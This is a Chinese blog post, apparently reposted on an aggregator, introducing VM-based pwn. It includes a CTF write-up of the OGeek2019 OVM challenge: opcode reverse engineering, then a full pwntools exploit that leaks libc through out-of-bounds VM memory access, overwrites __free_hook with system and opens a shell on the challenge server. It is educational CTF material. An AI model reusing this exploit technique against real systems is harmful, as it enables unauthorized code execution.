VMPWN

编程入门 行业动态 更新时间:2024-10-26 10:31:28

VMPWN

VMPWN

1.虚拟机保护技术

所谓虚拟机保护技术,是指将代码翻译为机器和人都无法识别的一串伪代码字节流;在具体执行时再对这些伪代码进行一一翻译解释,逐步还原为原始代码并执行。这段用于翻译伪代码并负责具体执行的子程序就叫作虚拟机VM(好似一个抽象的CPU)。它以一个函数的形式存在,函数的参数就是字节码的内存地址。

2.VStartVM

虚拟机的入口函数,对虚拟机环境进行初始化

3.VMDispather

解释opcode,并选择对应的Handler函数执行,当Handler执行完后会跳回这里,形成一个循环

4.opcode

程序可执行代码转换成的操作码

[OGeek2019 Final]OVM

题目除canary以外保护全开,简单分析一下程序

  write(1, "PC: ", 4uLL);_isoc99_scanf("%hd", &pc_0);getchar();write(1, "SP: ", 4uLL);_isoc99_scanf("%hd", &sp_0);getchar();reg[13] = sp_0;reg[15] = pc_0;

一开始会让我们输入PC与SP的值,并存入reg[13]与reg[15]中

PC 程序计数器,它存放的是一个内存地址,该地址中存放着 下一条 要执行的计算机指令。
SP 指针寄存器,永远指向当前的栈顶。

然后输入CODE SIZE,大小限制在0x10000以内。接下来输入code并存入memory中

  write(1, "CODE: ", 6uLL);running = 1;for ( i = 0; code_size > i; ++i ){_isoc99_scanf("%d", &memory[pc_0 + i]);if ( (memory[i + pc_0] & 0xFF000000) == 0xFF000000 )memory[i + pc_0] = 0xE0000000;getchar();}

接下来进入一个while循环,fetch函数令PC+1从memory中读入下一条指令

__int64 fetch()
{int pc; // eax
​pc = reg[15];reg[15] = pc + 1;return memory[pc];
}

在execute函数便是我们需要逆向的指令集内容,可以看出我们需要输入的opcode格式

操作码 | 目标寄存器 | 操作数2寄存器 | 操作数1寄存器

经过分析后得到以下结果

0x10: mov reg[dst], num
0x20: mov reg[dst], 0
0x30: reg[dst] = memory[reg[op1]]
0x40: memory[reg[op1]] = reg[dst]
0x50: push
0x60: pop
0x70: add
0x80: sub
0x90: and
0xa0: or
0xb0: xor
0xc0: <<
0xd0: >>
0xe0&reg[13]==0: exit and show

exp:

from pwn import *
​
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
​
def opcode(hand,dst,op2,op1):res = hand<<24res+= dst<<16res+= op2 <<8res+= op1return str(res)
​
# p = process('./VM')
p = remote('node4.buuoj.cn','27830')
libc = ELF('libc-2.23_64bit.so')
​
# gdb.attach(p,'b *$rebase(0xEBC)')
sla('PCPC: ','0')
sla('SP: ','1')
sla('CODE SIZE: ','23')
​
# copy stderr in reg[2]&reg[3]
sl(opcode(0x10,0,0,26))     #reg[0]=26
sl(opcode(0x10,1,0,0))      #reg[1]=0
sl(opcode(0x80,4,1,0))      #reg[4]=reg[1]-reg[0]=-26
sl(opcode(0x30,2,0,4))      #reg[2]=memory[-26]
sl(opcode(0x10,0,0,25))     #reg[0]=25
sl(opcode(0x80,4,1,0))      #reg[4]=reg[1]-reg[0]=-25
sl(opcode(0x30,3,0,4))      #reg[3]=memory[-25]
​
# reg[2]&reg[3]==_free_hook-0x8
sl(opcode(0x10,0,0,1))      #reg[0]=1
sl(opcode(0x10,1,0,12))     #reg[1]=12
sl(opcode(0xc0,4,0,1))      #reg[4]=1<<12=0x1000
sl(opcode(0x10,0,0,0xa))    #reg[0]=0xa
sl(opcode(0x10,1,0,4))      #reg[1]=4
sl(opcode(0xc0,5,0,1))      #reg[5]=0xa<<4=0xa0
sl(opcode(0x70,4,4,5))      #reg[4]=0x1000+0xa0
sl(opcode(0x70,2,2,4))      #reg[2]=reg[2]+reg[4]
​
# change comment to __free_hook-0x8
sl(opcode(0x10,0,0,8))      #reg[0]=8
sl(opcode(0x10,1,0,0))      #reg[1]=0
sl(opcode(0x80,4,1,0))      #reg[4]=-8
sl(opcode(0x40,2,0,4))      #memory[-8]=reg[2]
sl(opcode(0x10,0,0,7))      #reg[0]=7
sl(opcode(0x80,4,1,0))      #reg[4]=-7
sl(opcode(0x40,3,0,4))      #memory[-7]=reg[3]
sl(opcode(0xe0,0,0,0))
​
ru('R2: ')
low = int(rud('\n'),16)
ru('R3: ')
high = int(rud('\n'),16)
f_hook = (high<<32)+low+8
base = f_hook-libc.sym['__free_hook']
system = base+libc.sym['system']
sla('HOW DO YOU FEEL AT OVM?','/bin/sh\x00'+p64(system))
shell()

参考链接

VM Pwn学习 - 安全客,安全资讯平台

VM pwn入门_L.o.W的博客-CSDN博客

更多推荐

VMPWN

本文发布于:2023-06-28 16:48:04,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/930563.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:VMPWN

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!